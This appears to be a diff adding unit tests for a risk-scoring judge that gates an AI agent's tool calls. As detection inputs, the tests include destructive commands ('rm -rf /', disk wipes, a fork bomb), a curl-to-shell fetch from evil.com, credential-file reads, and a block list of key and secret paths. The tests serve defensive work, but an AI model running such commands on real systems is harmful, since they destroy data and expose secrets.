+def _make_item(**overrides: Any) -> dict[str, Any]:
+    """Create a minimal tool call item."""
+    defaults = {
+        "func_name": "bash",
+        "func_args": {"command": "echo hello"},
+        "approval_label": "bash",
+        "call_id": "tc_001",
+    }
+    defaults.update(overrides)
+    return defaults
+
+
+def _good_verdict_json(**overrides: Any) -> str:
+    """Return a well-formed JSON verdict string."""
+    verdict = {
+        "intent_summary": "Echo a greeting",
+        "risk_level": "low",
+        "confidence": 0.95,
+        "recommendation": "approve",
+        "reasoning": "Simple echo command with no side effects.",
+        "evidence": ["The command only prints text to stdout."],
+    }
+    verdict.update(overrides)
+    return json.dumps(verdict)
+
+
+# ---------------------------------------------------------------------------
+# JSON parsing strategies
+# ---------------------------------------------------------------------------
+
+
+class TestVerdictParsing:
+    def test_valid_json_direct(self):
+        """Provider returns pure JSON — parsed via strategy 1."""
+        content = _good_verdict_json()
+        provider = _make_mock_provider(response_content=content)
+        judge = _make_judge(provider)
+
+        callback_results: list[IntentVerdict] = []
+        heuristics = judge.evaluate(
+            [_make_item()],
+            [{"role": "user", "content": "Run echo hello"}],
+            callback_results.append,
+        )
+        # Wait for daemon thread
+        time.sleep(0.5)
+
+        assert len(heuristics) == 1
+        assert heuristics[0].tier == "heuristic"
+
+    def test_markdown_code_block(self):
+        """Provider wraps verdict in ```json ... ``` — strategy 2."""
+        content = "Here is my verdict:\n```json\n" + _good_verdict_json() + "\n```"
+        judge = _make_judge(_make_mock_provider(response_content=content))
+
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.risk_level == "low"
+        assert verdict.recommendation == "approve"
+        assert verdict.tier == "llm"
+
+    def test_brace_counting_fallback(self):
+        """Provider returns verdict embedded in prose — strategy 3."""
+        content = (
+            "After careful analysis, my verdict is: "
+            + _good_verdict_json()
+            + " That concludes my review."
+        )
+        judge = _make_judge()
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.risk_level == "low"
+
+    def test_regex_field_extraction(self):
+        """Broken JSON but fields extractable via regex — strategy 4."""
+        content = (
+            "Here is my analysis:\n"
+            '"intent_summary": "Echo command",\n'
+            '"risk_level": "low",\n'
+            '"confidence": 0.9,\n'
+            '"recommendation": "approve",\n'
+            '"reasoning": "Safe command"\n'
+        )
+        judge = _make_judge()
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.risk_level == "low"
+        assert verdict.confidence == 0.9
+        assert verdict.recommendation == "approve"
+
+    def test_unparseable_returns_none(self):
+        """Provider returns completely unparseable text."""
+        judge = _make_judge()
+        verdict = judge._parse_verdict("I cannot evaluate this.", "bash", "tc_001", 50)
+        assert verdict is None
+
+
+# ---------------------------------------------------------------------------
+# Error handling
+# ---------------------------------------------------------------------------
+
+
+class TestErrorHandling:
+    def test_provider_exception_returns_none(self):
+        """Provider raises exception — caught, returns None."""
+        provider = _make_mock_provider(side_effect=RuntimeError("API error"))
+        judge = _make_judge(provider)
+
+        result = judge._evaluate_single(
+            _make_item(),
+            [{"role": "user", "content": "test"}],
+            MagicMock(),
+        )
+        assert result is None
+
+    def test_provider_error_heuristic_still_returned(self):
+        """When LLM fails, heuristic verdicts are still returned from evaluate()."""
+        provider = _make_mock_provider(side_effect=RuntimeError("API down"))
+        judge = _make_judge(provider)
+
+        callback_results: list[IntentVerdict] = []
+        heuristics = judge.evaluate(
+            [_make_item()],
+            [{"role": "user", "content": "test"}],
+            callback_results.append,
+        )
+        time.sleep(0.5)
+
+        assert len(heuristics) == 1
+        assert heuristics[0].tier == "heuristic"
+        # Callback should not have been invoked (LLM failed)
+        assert len(callback_results) == 0
+
+    def test_empty_content_returns_none(self):
+        """Provider returns empty content, no tool calls."""
+        provider = _make_mock_provider(response_content="")
+        result_mock = provider.create_completion.return_value
+        result_mock.tool_calls = None
+        result_mock.content = ""
+
+        judge = _make_judge(provider)
+        result = judge._evaluate_single(
+            _make_item(),
+            [{"role": "user", "content": "test"}],
+            MagicMock(),
+        )
+        assert result is None
+
+
+# ---------------------------------------------------------------------------
+# Multi-turn tool use
+# ---------------------------------------------------------------------------
+
+
+class TestMultiTurnToolUse:
+    def test_tool_call_then_verdict(self):
+        """Provider requests read_file, then returns verdict."""
+        provider = MagicMock()
+        caps = MagicMock()
+        caps.context_window = 100_000
+        caps.max_output_tokens = 4096
+        provider.get_capabilities.return_value = caps
+        provider.convert_tools.side_effect = lambda tools, **kw: tools
+
+        # Turn 1: tool call
+        turn1 = MagicMock()
+        turn1.content = ""
+        turn1.tool_calls = [
+            {
+                "id": "tc_judge_1",
+                "function": {
+                    "name": "read_file",
+                    "arguments": json.dumps({"path": "/nonexistent/file.txt"}),
+                },
+            }
+        ]
+
+        # Turn 2: verdict
+        turn2 = MagicMock()
+        turn2.content = _good_verdict_json()
+        turn2.tool_calls = None
+
+        provider.create_completion.side_effect = [turn1, turn2]
+
+        judge = _make_judge(provider)
+        verdict = judge._evaluate_single(
+            _make_item(),
+            [{"role": "user", "content": "test"}],
+            MagicMock(),
+        )
+        assert verdict is not None
+        assert verdict.tier == "llm"
+        assert provider.create_completion.call_count == 2
+
+    def test_max_turns_reached(self):
+        """Provider keeps requesting tools — stops at _JUDGE_MAX_TURNS."""
+        provider = MagicMock()
+        caps = MagicMock()
+        caps.context_window = 100_000
+        caps.max_output_tokens = 4096
+        provider.get_capabilities.return_value = caps
+        provider.convert_tools.side_effect = lambda tools, **kw: tools
+
+        # Every turn returns a tool call
+        tool_result = MagicMock()
+        tool_result.content = ""
+        tool_result.tool_calls = [
+            {
+                "id": "tc_loop",
+                "function": {
+                    "name": "read_file",
+                    "arguments": json.dumps({"path": "/tmp/x"}),
+                },
+            }
+        ]
+
+        # Last turn (no tools param) returns text content
+        final = MagicMock()
+        final.content = _good_verdict_json()
+        final.tool_calls = None
+
+        # Turns 0-3: tool_call; turn 4 (last, tools=None): final verdict
+        provider.create_completion.side_effect = [
+            tool_result,
+            tool_result,
+            tool_result,
+            tool_result,
+            final,
+        ]
+
+        judge = _make_judge(provider)
+        judge._evaluate_single(
+            _make_item(),
+            [{"role": "user", "content": "test"}],
+            MagicMock(),
+        )
+        # Should have called create_completion exactly _JUDGE_MAX_TURNS times
+        assert provider.create_completion.call_count == 5
+
+
+# ---------------------------------------------------------------------------
+# Context preparation
+# ---------------------------------------------------------------------------
+
+
+class TestContextPreparation:
+    def test_context_truncation(self):
+        """Long conversation history gets truncated to budget."""
+        judge = _make_judge()
+
+        # Create a large message history
+        messages = [{"role": "user", "content": "x" * 10000} for _ in range(100)]
+
+        result = judge._prepare_context(_make_item(), messages)
+
+        # Should have system message + some truncated history + user message
+        assert result[0]["role"] == "system"
+        assert result[-1]["role"] == "user"
+        assert "pending human approval" in result[-1]["content"]
+        # Should be fewer messages than the original 100
+        assert len(result) < 102  # system + 100 + user
+
+
+# ---------------------------------------------------------------------------
+# Confidence arbitration
+# ---------------------------------------------------------------------------
+
+
+class TestConfidenceArbitration:
+    def test_llm_higher_confidence_triggers_callback(self):
+        """LLM confidence > heuristic confidence — callback invoked."""
+        provider = _make_mock_provider(response_content=_good_verdict_json(confidence=0.95))
+        judge = _make_judge(provider)
+
+        callback_results: list[IntentVerdict] = []
+        # bash "echo hello" → heuristic confidence 0.85 (low/bash-read-only)
+        heuristics = judge.evaluate(
+            [_make_item()],
+            [{"role": "user", "content": "Run echo hello"}],
+            callback_results.append,
+        )
+        time.sleep(0.5)
+
+        assert len(heuristics) == 1
+        assert heuristics[0].confidence == 0.85
+        assert len(callback_results) == 1
+        assert callback_results[0].tier == "llm"
+        assert callback_results[0].confidence == 0.95
+
+    def test_llm_lower_confidence_no_callback(self):
+        """LLM confidence < heuristic confidence — no callback."""
+        provider = _make_mock_provider(response_content=_good_verdict_json(confidence=0.5))
+        judge = _make_judge(provider)
+
+        callback_results: list[IntentVerdict] = []
+        # bash "echo hello" → heuristic confidence 0.85
+        heuristics = judge.evaluate(
+            [_make_item()],
+            [{"role": "user", "content": "Run echo hello"}],
+            callback_results.append,
+        )
+        time.sleep(0.5)
+
+        assert len(heuristics) == 1
+        # LLM confidence (0.5) < heuristic (0.85), so no callback
+        assert len(callback_results) == 0
+
+
+# ---------------------------------------------------------------------------
+# Path blocking
+# ---------------------------------------------------------------------------
+
+
+class TestPathBlocking:
+    def test_etc_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/etc/passwd")) is True
+
+    def test_root_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/root/.bashrc")) is True
+
+    def test_proc_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/proc/1/status")) is True
+
+    def test_sys_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/sys/class/net")) is True
+
+    def test_dev_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/dev/sda")) is True
+
+    def test_ssh_part_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/home/user/.ssh/id_rsa")) is True
+
+    def test_gnupg_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/home/user/.gnupg/private-keys")) is True
+
+    def test_aws_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/home/user/.aws/credentials")) is True
+
+    def test_config_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/home/user/.config/secret")) is True
+
+    def test_pem_suffix_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/tmp/server.pem")) is True
+
+    def test_key_suffix_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/tmp/private.key")) is True
+
+    def test_p12_suffix_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/tmp/cert.p12")) is True
+
+    def test_pfx_suffix_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/tmp/cert.pfx")) is True
+
+    def test_safe_path_not_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/tmp/test.txt")) is False
+
+    def test_project_path_not_blocked(self):
+        assert IntentJudge._is_path_blocked(Path("/home/user/project/main.py")) is False
+
+
+# ---------------------------------------------------------------------------
+# Read-only tool execution
+# ---------------------------------------------------------------------------
+
+
+class TestReadOnlyToolExecution:
+    def test_read_file_success(self, tmp_path):
+        test_file = tmp_path / "hello.txt"
+        test_file.write_text("Hello, world!")
+        result = IntentJudge._exec_read_only_tool("read_file", {"path": str(test_file)})
+        assert result == "Hello, world!"
+
+    def test_read_file_not_found(self):
+        result = IntentJudge._exec_read_only_tool("read_file", {"path": "/nonexistent/file.txt"})
+        assert "Error" in result
+        assert "not found" in result
+
+    def test_read_file_blocked_path(self):
+        result = IntentJudge._exec_read_only_tool("read_file", {"path": "/etc/shadow"})
+        assert "access denied" in result
+
+    def test_read_file_truncation(self, tmp_path):
+        test_file = tmp_path / "big.txt"
+        test_file.write_text("x" * 50_000)
+        result = IntentJudge._exec_read_only_tool("read_file", {"path": str(test_file)})
+        assert "truncated" in result
+        assert len(result) < 50_000
+
+    def test_list_directory_success(self, tmp_path):
+        (tmp_path / "file_a.txt").touch()
+        (tmp_path / "dir_b").mkdir()
+        result = IntentJudge._exec_read_only_tool("list_directory", {"path": str(tmp_path)})
+        assert "dir_b/" in result
+        assert "file_a.txt" in result
+
+    def test_list_directory_not_found(self):
+        result = IntentJudge._exec_read_only_tool("list_directory", {"path": "/nonexistent/dir"})
+        assert "Error" in result
+        assert "not found" in result
+
+    def test_list_directory_blocked(self):
+        result = IntentJudge._exec_read_only_tool("list_directory", {"path": "/etc/ssl"})
+        assert "access denied" in result
+
+    def test_unknown_tool(self):
+        result = IntentJudge._exec_read_only_tool("write_file", {"path": "/tmp/x"})
+        assert "unknown tool" in result
+
+
+# ---------------------------------------------------------------------------
+# Verdict normalization
+# ---------------------------------------------------------------------------
+
+
+class TestVerdictNormalization:
+    def test_invalid_risk_level_normalized(self):
+        content = _good_verdict_json(risk_level="extreme")
+        judge = _make_judge()
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.risk_level == "medium"  # default
+
+    def test_invalid_recommendation_normalized(self):
+        content = _good_verdict_json(recommendation="maybe")
+        judge = _make_judge()
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.recommendation == "review"  # default
+
+    def test_confidence_clamped_above_1(self):
+        content = _good_verdict_json(confidence=1.5)
+        judge = _make_judge()
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.confidence == 1.0
+
+    def test_confidence_clamped_below_0(self):
+        content = _good_verdict_json(confidence=-0.3)
+        judge = _make_judge()
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.confidence == 0.0
+
+    def test_evidence_string_wrapped_in_list(self):
+        content = _good_verdict_json(evidence="single evidence string")
+        judge = _make_judge()
+        verdict = judge._parse_verdict(content, "bash", "tc_001", 50)
+        assert verdict is not None
+        assert verdict.evidence == ["single evidence string"]

tests/test_judge_heuristic.py

@@ -0,0 +1,455 @@
+"""Tests for the intent validation heuristic engine."""
+
+from __future__ import annotations
+
+from turnstone.core.judge import IntentVerdict, evaluate_heuristic
+
+# ---------------------------------------------------------------------------
+# Helpers
+# ---------------------------------------------------------------------------
+
+
+def _assert_verdict(
+    verdict: IntentVerdict,
+    *,
+    risk_level: str,
+    recommendation: str,
+    min_confidence: float = 0.0,
+    max_confidence: float = 1.0,
+) -> None:
+    """Assert common invariants on a verdict."""
+    assert verdict.risk_level == risk_level
+    assert verdict.recommendation == recommendation
+    assert min_confidence <= verdict.confidence <= max_confidence
+    assert verdict.tier == "heuristic"
+    assert verdict.intent_summary  # non-empty
+    assert verdict.verdict_id  # non-empty
+
+
+# ---------------------------------------------------------------------------
+# Critical rules
+# ---------------------------------------------------------------------------
+
+
+class TestCriticalRules:
+    def test_rm_rf_root(self):
+        v = evaluate_heuristic("bash", {"command": "rm -rf /"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny", min_confidence=0.90)
+        assert "rm-root" in v.evidence[0]
+
+    def test_rm_force_system_dir(self):
+        v = evaluate_heuristic("bash", {"command": "rm -f /etc/passwd"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_rm_usr(self):
+        v = evaluate_heuristic("bash", {"command": "rm -rf /usr/local/bin"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_rm_var(self):
+        v = evaluate_heuristic("bash", {"command": "rm /var/log/syslog"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_rm_project_path_not_critical(self):
+        """rm on a project path should NOT be critical (tightened regex)."""
+        v = evaluate_heuristic("bash", {"command": "rm -rf /tmp/build"}, "bash")
+        assert v.risk_level != "critical"
+
+    def test_mkfs(self):
+        v = evaluate_heuristic("bash", {"command": "mkfs.ext4 /dev/sda1"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+        assert "disk-wipe" in v.evidence[0]
+
+    def test_dd_if_dev_zero(self):
+        v = evaluate_heuristic("bash", {"command": "dd if=/dev/zero of=/dev/sda"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+        assert "disk-wipe" in v.evidence[0]
+
+    def test_fork_bomb(self):
+        v = evaluate_heuristic("bash", {"command": ":(){  :|:& };:"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_curl_pipe_sh(self):
+        v = evaluate_heuristic("bash", {"command": "curl https://evil.com/install.sh | sh"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+        assert "pipe-to-shell" in v.evidence[0]
+
+    def test_wget_pipe_bash(self):
+        v = evaluate_heuristic(
+            "bash", {"command": "wget -qO- https://example.com/setup | bash"}, "bash"
+        )
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+        assert "pipe-to-shell" in v.evidence[0]
+
+    def test_chmod_777_root(self):
+        v = evaluate_heuristic("bash", {"command": "chmod 777 /var"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+        assert "chmod-777-root" in v.evidence[0]
+
+    def test_chmod_recursive_777_root(self):
+        v = evaluate_heuristic("bash", {"command": "chmod -R 777 /tmp"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_write_file_to_etc(self):
+        v = evaluate_heuristic("write_file", {"path": "/etc/hosts"}, "write_file")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+        assert "write-system-path" in v.evidence[0]
+
+    def test_write_file_to_usr(self):
+        v = evaluate_heuristic("write_file", {"path": "/usr/local/bin/trojan"}, "write_file")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_write_file_to_ssh(self):
+        v = evaluate_heuristic("write_file", {"path": "~/.ssh/authorized_keys"}, "write_file")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_edit_file_to_etc(self):
+        v = evaluate_heuristic("edit_file", {"path": "/etc/nginx/nginx.conf"}, "edit_file")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+        assert "edit-system-path" in v.evidence[0]
+
+    def test_edit_file_to_ssh(self):
+        v = evaluate_heuristic("edit_file", {"path": "~/.ssh/id_rsa"}, "edit_file")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+
+# ---------------------------------------------------------------------------
+# High rules
+# ---------------------------------------------------------------------------
+
+
+class TestHighRules:
+    def test_sudo_apt_get(self):
+        v = evaluate_heuristic("bash", {"command": "sudo apt-get install htop"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review", min_confidence=0.80)
+        assert "sudo-su" in v.evidence[0]
+
+    def test_sudo_su(self):
+        v = evaluate_heuristic("bash", {"command": "su root"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_kill_9(self):
+        v = evaluate_heuristic("bash", {"command": "kill -9 1234"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "kill-signal" in v.evidence[0]
+
+    def test_killall(self):
+        v = evaluate_heuristic("bash", {"command": "killall python"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_git_reset_hard(self):
+        v = evaluate_heuristic("bash", {"command": "git reset --hard HEAD~3"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "destructive-git" in v.evidence[0]
+
+    def test_git_push_force(self):
+        v = evaluate_heuristic("bash", {"command": "git push --force origin main"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_git_push_f(self):
+        v = evaluate_heuristic("bash", {"command": "git push -f origin main"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_drop_table(self):
+        v = evaluate_heuristic("bash", {"command": "sqlite3 db.sqlite 'DROP TABLE users;'"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "sql-destructive" in v.evidence[0]
+
+    def test_truncate_table(self):
+        v = evaluate_heuristic("bash", {"command": "psql -c 'TRUNCATE TABLE logs;'"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_write_env_file(self):
+        v = evaluate_heuristic("write_file", {"path": "/app/.env"}, "write_file")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "write-secrets" in v.evidence[0]
+
+    def test_write_pem_file(self):
+        v = evaluate_heuristic("write_file", {"path": "/app/server.pem"}, "write_file")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_write_key_file(self):
+        v = evaluate_heuristic("write_file", {"path": "/app/private.key"}, "write_file")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_write_credentials(self):
+        v = evaluate_heuristic("write_file", {"path": "/app/credentials.json"}, "write_file")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_edit_env_file(self):
+        v = evaluate_heuristic("edit_file", {"path": "/project/.env"}, "edit_file")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "edit-secrets" in v.evidence[0]
+
+    def test_edit_secret_file(self):
+        v = evaluate_heuristic("edit_file", {"path": "/app/secret.yaml"}, "edit_file")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_curl_post(self):
+        v = evaluate_heuristic(
+            "bash", {"command": "curl -X POST https://api.example.com/deploy"}, "bash"
+        )
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "http-mutation" in v.evidence[0]
+
+    def test_curl_delete(self):
+        v = evaluate_heuristic(
+            "bash", {"command": "curl -X DELETE https://api.example.com/resource/1"}, "bash"
+        )
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_ssh_remote(self):
+        v = evaluate_heuristic("bash", {"command": "ssh user@host.example.com"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "remote-access" in v.evidence[0]
+
+    def test_scp_transfer(self):
+        v = evaluate_heuristic("bash", {"command": "scp file.txt user@remote:/tmp/"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_cat_etc_passwd(self):
+        v = evaluate_heuristic("bash", {"command": "cat /etc/passwd"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+        assert "credential-recon" in v.evidence[0]
+
+    def test_cat_etc_shadow(self):
+        v = evaluate_heuristic("bash", {"command": "cat /etc/shadow"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_python_etc_passwd(self):
+        """Python one-liner accessing /etc/passwd should also trigger."""
+        v = evaluate_heuristic(
+            "bash",
+            {"command": "python3 -c \"import os; os.system('cat /etc/passwd')\""},
+            "bash",
+        )
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+
+# ---------------------------------------------------------------------------
+# Medium rules
+# ---------------------------------------------------------------------------
+
+
+class TestMediumRules:
+    def test_pip_install(self):
+        v = evaluate_heuristic("bash", {"command": "pip install requests"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review", min_confidence=0.70)
+        assert "package-install" in v.evidence[0]
+
+    def test_npm_install(self):
+        v = evaluate_heuristic("bash", {"command": "npm install express"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+
+    def test_apt_install(self):
+        # Plain "apt install" (without sudo) is a medium package-install match.
+        v = evaluate_heuristic("bash", {"command": "apt install curl"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+
+    def test_write_file_generic(self):
+        v = evaluate_heuristic("write_file", {"path": "/app/main.py"}, "write_file")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+        assert "write-file-default" in v.evidence[0]
+
+    def test_mcp_tool_by_approval_label(self):
+        v = evaluate_heuristic(
+            "mcp__server__fetch", {"url": "https://example.com"}, "mcp__server__fetch"
+        )
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+        assert "mcp-tool" in v.evidence[0]
+
+    def test_mcp_tool_by_func_name_pattern(self):
+        v = evaluate_heuristic("mcp__git__commit", {}, "mcp__git__commit")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+
+    def test_docker_run(self):
+        v = evaluate_heuristic("bash", {"command": "docker run -d nginx"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+        assert "docker-ops" in v.evidence[0]
+
+    def test_docker_exec(self):
+        v = evaluate_heuristic("bash", {"command": "docker exec -it container bash"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+
+    def test_docker_stop(self):
+        v = evaluate_heuristic("bash", {"command": "docker stop myapp"}, "bash")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+
+
+# ---------------------------------------------------------------------------
+# Low rules
+# ---------------------------------------------------------------------------
+
+
+class TestLowRules:
+    def test_read_file(self):
+        v = evaluate_heuristic("read_file", {"path": "/app/main.py"}, "read_file")
+        _assert_verdict(v, risk_level="low", recommendation="approve", min_confidence=0.85)
+        assert "read-file" in v.evidence[0]
+
+    def test_bash_ls(self):
+        v = evaluate_heuristic("bash", {"command": "ls -la"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+        assert "bash-read-only" in v.evidence[0]
+
+    def test_bash_cat(self):
+        v = evaluate_heuristic("bash", {"command": "cat /tmp/file.txt"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+
+    def test_bash_grep(self):
+        v = evaluate_heuristic("bash", {"command": "grep -r 'TODO' src/"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+
+    def test_bash_pipe_read_only(self):
+        v = evaluate_heuristic("bash", {"command": "cat file.txt | grep foo"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+
+    def test_bash_pwd_and_whoami(self):
+        v = evaluate_heuristic("bash", {"command": "pwd && whoami"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+
+    def test_bash_subshell_not_read_only(self):
+        """Subshell substitution should NOT be classified as read-only."""
+        v = evaluate_heuristic("bash", {"command": "echo $(rm -rf /)"}, "bash")
+        assert v.risk_level != "low"
+
+    def test_bash_backtick_not_read_only(self):
+        """Backtick substitution should NOT be classified as read-only."""
+        v = evaluate_heuristic("bash", {"command": "echo `cat /etc/shadow`"}, "bash")
+        assert v.risk_level != "low"
+
+    def test_recall(self):
+        v = evaluate_heuristic("recall", {"query": "project overview"}, "recall")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+        assert "safe-builtins" in v.evidence[0]
+
+    def test_search(self):
+        v = evaluate_heuristic("search", {"query": "python asyncio"}, "search")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+        assert "search-tool" in v.evidence[0]
+
+    def test_list_directory(self):
+        v = evaluate_heuristic("list_directory", {"path": "/app"}, "list_directory")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+        assert "list-directory" in v.evidence[0]
+
+    def test_man_tool(self):
+        v = evaluate_heuristic("man", {"topic": "grep"}, "man")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+        assert "man-tool" in v.evidence[0]
+
+    def test_use_prompt(self):
+        v = evaluate_heuristic("use_prompt", {"name": "mcp__git__commit_msg"}, "use_prompt")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+        assert "use-prompt" in v.evidence[0]
+
+
+# ---------------------------------------------------------------------------
+# Default fallback
+# ---------------------------------------------------------------------------
+
+
+class TestDefaultFallback:
+    def test_unknown_tool(self):
+        v = evaluate_heuristic("some_unknown_tool", {"x": 1}, "some_unknown_tool")
+        assert v.risk_level == "medium"
+        assert v.confidence == 0.5
+        assert v.recommendation == "review"
+        assert v.tier == "heuristic"
+        assert v.evidence == []
+        assert v.intent_summary  # non-empty
+        assert v.verdict_id  # non-empty
+
+    def test_unknown_tool_with_call_id(self):
+        v = evaluate_heuristic("mystery", {}, "mystery", call_id="call_42")
+        assert v.call_id == "call_42"
+        assert v.func_name == "mystery"
+
+
+# ---------------------------------------------------------------------------
+# Edge cases
+# ---------------------------------------------------------------------------
+
+
+class TestEdgeCases:
+    def test_empty_args(self):
+        v = evaluate_heuristic("bash", {}, "bash")
+        # No command to match — bash-read-only checks empty string, which
+        # matches _match_bash_read_only (all segments are empty or whitespace).
+        assert v.tier == "heuristic"
+        assert v.verdict_id
+
+    def test_multi_command_pipe_safe(self):
+        v = evaluate_heuristic("bash", {"command": "ls | grep foo"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+
+    def test_multi_command_chain_with_critical(self):
+        """ls && rm -rf / — critical fires first since rules are ordered."""
+        v = evaluate_heuristic("bash", {"command": "ls && rm -rf /"}, "bash")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_partial_rm_in_safe_context(self):
+        """grep something | wc -l — should be low, not triggering rm rule."""
+        v = evaluate_heuristic("bash", {"command": "grep remove file.txt | wc -l"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+
+    def test_call_id_propagation(self):
+        v = evaluate_heuristic("bash", {"command": "ls"}, "bash", call_id="tc_abc123")
+        assert v.call_id == "tc_abc123"
+
+    def test_func_name_in_verdict(self):
+        v = evaluate_heuristic("bash", {"command": "echo hi"}, "bash")
+        assert v.func_name == "bash"
+
+    def test_latency_non_negative(self):
+        v = evaluate_heuristic("bash", {"command": "ls"}, "bash")
+        assert v.latency_ms >= 0
+
+    def test_write_file_arg_extraction_uses_path(self):
+        """write_file arg_text should use the 'path' key, not the whole JSON."""
+        v = evaluate_heuristic("write_file", {"path": "/etc/shadow", "content": "x"}, "write_file")
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_edit_file_arg_extraction_uses_path(self):
+        v = evaluate_heuristic(
+            "edit_file", {"path": "/etc/passwd", "old": "a", "new": "b"}, "edit_file"
+        )
+        _assert_verdict(v, risk_level="critical", recommendation="deny")
+
+    def test_bash_arg_extraction_uses_command(self):
+        v = evaluate_heuristic("bash", {"command": "sudo reboot"}, "bash")
+        _assert_verdict(v, risk_level="high", recommendation="review")
+
+    def test_mcp_approval_label_matches_wildcard(self):
+        """MCP tools match via approval_label even if func_name differs."""
+        v = evaluate_heuristic("do_thing", {}, "mcp__server__do_thing")
+        _assert_verdict(v, risk_level="medium", recommendation="review")
+
+    def test_verdict_to_dict_roundtrip(self):
+        v = evaluate_heuristic("bash", {"command": "ls"}, "bash")
+        d = v.to_dict()
+        assert d["risk_level"] == v.risk_level
+        assert d["confidence"] == v.confidence
+        assert d["recommendation"] == v.recommendation
+        assert d["tier"] == v.tier
+        assert d["evidence"] == v.evidence
+        assert d["intent_summary"] == v.intent_summary
+
+    def test_semicolons_in_pipe_all_safe(self):
+        v = evaluate_heuristic("bash", {"command": "echo hi ; date ; pwd"}, "bash")
+        _assert_verdict(v, risk_level="low", recommendation="approve")
+
+    def test_semicolons_with_dangerous_segment(self):
+        v = evaluate_heuristic("bash", {"command": "echo hi ; rm -rf /"}, "bash")
